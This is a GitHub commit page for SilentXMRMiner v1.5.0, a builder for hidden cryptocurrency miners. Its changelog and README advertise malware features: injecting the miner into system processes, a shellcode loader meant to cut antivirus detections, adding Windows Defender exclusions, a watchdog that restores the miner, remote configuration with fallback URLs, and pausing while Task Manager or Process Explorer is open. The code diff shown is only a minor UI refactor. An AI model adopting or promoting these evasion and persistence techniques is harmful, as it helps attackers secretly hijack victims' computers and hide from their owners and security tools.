Skip to content
This repository has been archived by the owner on Sep 12, 2023. It is now read-only.

Commit

Permalink
Updated to v1.5.0
Browse files Browse the repository at this point in the history
* **The previous version was supposed to be the last one before the unified miner but I recieved great results by loading everything by Shellcode making it worthwhile to update**
* Added new Shellcode loader, the miner, watchdog and uninstaller will now be converted into shellcode and injected using a native C loader which greatly reduces detections
* Added custom tcc C compiler to compile the Shellcode loader
* Added custom windres resource compiler to allow icons, assembly data and run as administrator for the native C program
* Added donut to convert .NET programs into Shellcode
* Added option to disable Shellcode loader
* Remade and optimized much of the miner and watchdog code
* Removed old C# loader
* Renamed Install to Startup due to confusion
  • Loading branch information
UnamSanctam committed Oct 2, 2021
1 parent 0b91bfd commit 9ecb692
Show file tree
Hide file tree
Showing 18 changed files with 1,014 additions and 747 deletions.
10 changes: 10 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,13 @@
### v1.5.0 (02/10/2021)
* **The previous version was supposed to be the last one before the unified miner but I recieved great results by loading everything by Shellcode making it worthwhile to update**
* Added new Shellcode loader, the miner, watchdog and uninstaller will now be converted into shellcode and injected using a native C loader which greatly reduces detections
* Added custom tcc C compiler to compile the Shellcode loader
* Added custom windres resource compiler to allow icons, assembly data and run as administrator for the native C program
* Added donut to convert .NET programs into Shellcode
* Added option to disable Shellcode loader
* Remade and optimized much of the miner and watchdog code
* Removed old C# loader
* Renamed Install to Startup due to confusion
### v1.4.4 (07/08/2021)
* **Any old miner using "Online Download" will automatically get this update for any new clients**
* Now gets the Remote Configuration every 100 minutes
Expand Down
34 changes: 15 additions & 19 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@

<img src="https://github.com/UnamSanctam/SilentXMRMiner/blob/master/SilentXMRMiner.png?raw=true">

# SilentXMRMiner v1.4.4 - Based on Lime Miner v0.3
# SilentXMRMiner v1.5.0 - Based on Lime Miner v0.3

Can mine all the following algorithms and thus all the cryptocurrencies that use them:
<details>
Expand Down Expand Up @@ -43,15 +43,16 @@ Can mine all the following algorithms and thus all the cryptocurrencies that use

## Main Features

* .NET - Coded in C#, requires .NET Framework 4.5
* Injection (Silent/Hidden) - Hide payload behind another process like explorer.exe, conhost.exe, svchost.exe or some other process
* Native & .NET - Miner installer and watchdog coded in C#, Shellcode loader/injector coded in C, miner requires .NET Framework 4.5
* Shellcode - All .NET C# parts are converted into Shellcode and injected using a native C loader, can be disabled
* Injection (Silent/Hidden) - Hide payload behind another process like explorer.exe, conhost.exe, svchost.exe or other process
* CPU & GPU Mining - Can mine on Both CPU and GPU (Nvidia & AMD)
* Idle Mining - Can be configured to mine at different usages or not at all while computer is or isn't in use
* Stealth - Pauses the miner and clears the GPU memory while any of the programs in the "Stealth Targets" option are open
* Watchdog - Replaces the miner file if removed and starts it if the injected miner is closed down
* Remote Configuration - Can get the miner settings remotely from a URL every 100 minutes
* Bypass Windows Defender - Adds exclusions into Windows Defender for the general folders the miner uses
* Online Downloader - Can download the miner binary during runtime to greatly decrease file size and detections
* Online Downloader - Can download the miner binary during runtime to greatly decrease file size

## Downloads

Expand All @@ -67,21 +68,16 @@ You can find the new wiki [here](https://github.com/UnamSanctam/SilentXMRMiner/w

## Changelog

### v1.4.4 (07/08/2021)
* **Any old miner using "Online Download" will automatically get this update for any new clients**
* Now gets the Remote Configuration every 100 minutes
* Added failover capability for the Remote Configuration URL, add several URLs by separating them by a comma (,)
* Changed the Remote Configuration scheme from INI to JSON, can still read INI files for backwards compatibility
* Added capabilities to change more miner settings with Remote Configuration
* Migrated from {%COMPUTERNAME%}, {%USERNAME%} and {%RANDOM%} to {COMPUTERNAME}, {USERNAME} and {RANDOM} but the old ones will still work for backwards compatibility
* Now replaces {COMPUTERNAME}, {USERNAME} and {RANDOM} with their respective values when using Remote Configuration
* Fixed possible Idle activation crash on Windows 7
* Added the Stealth Targets option which allows you to enter which programs the Stealth option should pause for
* Added algorithm selection to make it easier to use
* Fixed the GPU detection for systems that have custom lowercase characters like Turkish, seems like I failed the "Turkey Test" again
* Fixed broken builder help tooltips
* Major miner update/rework
* Improved miner stability
### v1.5.0 (02/10/2021)
* **The previous version was supposed to be the last one before the unified miner but I recieved great results by loading everything by Shellcode making it worthwhile to update**
* Added new Shellcode loader, the miner, watchdog and uninstaller will now be converted into shellcode and injected using a native C loader which greatly reduces detections
* Added custom tcc C compiler to compile the Shellcode loader
* Added custom windres resource compiler to allow icons, assembly data and run as administrator for the native C program
* Added donut to convert .NET programs into Shellcode
* Added option to disable Shellcode loader
* Remade and optimized much of the miner and watchdog code
* Removed old C# loader
* Renamed Install to Startup due to confusion

[You can view the full Changelog here](CHANGELOG.md)

Expand Down
79 changes: 64 additions & 15 deletions SilentXMRMiner/Advanced.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 4 additions & 4 deletions SilentXMRMiner/Advanced.resx
Original file line number Diff line number Diff line change
Expand Up @@ -120,6 +120,10 @@
<metadata name="TooltipHelper.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>17, 17</value>
</metadata>
<data name="Label13.ToolTip" xml:space="preserve">
<value>The programs that the "Stealth" option should check for. Separate the programs with a comma (,) just like the default entry.
Default: Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe</value>
</data>
<data name="Label7.ToolTip" xml:space="preserve">
<value>Will try to install to System32, if unsuccessful it will try to install to the path chosen in the "Install" tab. It's recommended to enable this when using 'Run as Administrator'.
This command requires Administrator privileges!
Expand All @@ -135,10 +139,6 @@ After you have obfuscated the file press OK on the message box that appears to m
You can enter multiple URLs for backup in case any get taken down or stop working by separating them with a comma (,) like so: url1,url2,url3
If the URL can't be reached or if the configuration is wrong, it will try the next URL or if none work then it will use the settings declared in the builder instead.
You can find the specific format for the configuration and other helpful things on the SilentXMRMiner GitHub wiki: https://github.com/UnamSanctam/SilentXMRMiner/wiki.</value>
</data>
<data name="Label13.ToolTip" xml:space="preserve">
<value>The programs that the "Stealth" option should check for. Separate the programs with a comma (,) just like the default entry.
Default: Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe</value>
</data>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
Expand Down
18 changes: 4 additions & 14 deletions SilentXMRMiner/Advanced.vb
Original file line number Diff line number Diff line change
Expand Up @@ -8,22 +8,12 @@
End Sub

Private Sub chkAdvanced_CheckedChanged(sender As Object) Handles chkAdvanced.CheckedChanged
If chkAdvanced.Checked Then
chkAdvanced.Text = "Enabled"
txtAdvParam.Enabled = True
Else
chkAdvanced.Text = "Disabled"
txtAdvParam.Enabled = False
End If
chkAdvanced.Text = If(chkAdvanced.Checked, "Enabled", "Disabled")
txtAdvParam.Enabled = chkAdvanced.Checked
End Sub

Private Sub chkRemoteConfig_CheckedChanged(sender As Object) Handles chkRemoteConfig.CheckedChanged
If chkRemoteConfig.Checked Then
chkRemoteConfig.Text = "Enabled"
txtRemoteConfig.Enabled = True
Else
chkRemoteConfig.Text = "Disabled"
txtRemoteConfig.Enabled = False
End If
chkRemoteConfig.Text = If(chkRemoteConfig.Checked, "Enabled", "Disabled")
txtRemoteConfig.Enabled = chkRemoteConfig.Checked
End Sub
End Class
Loading

0 comments on commit 9ecb692

Please sign in to comment.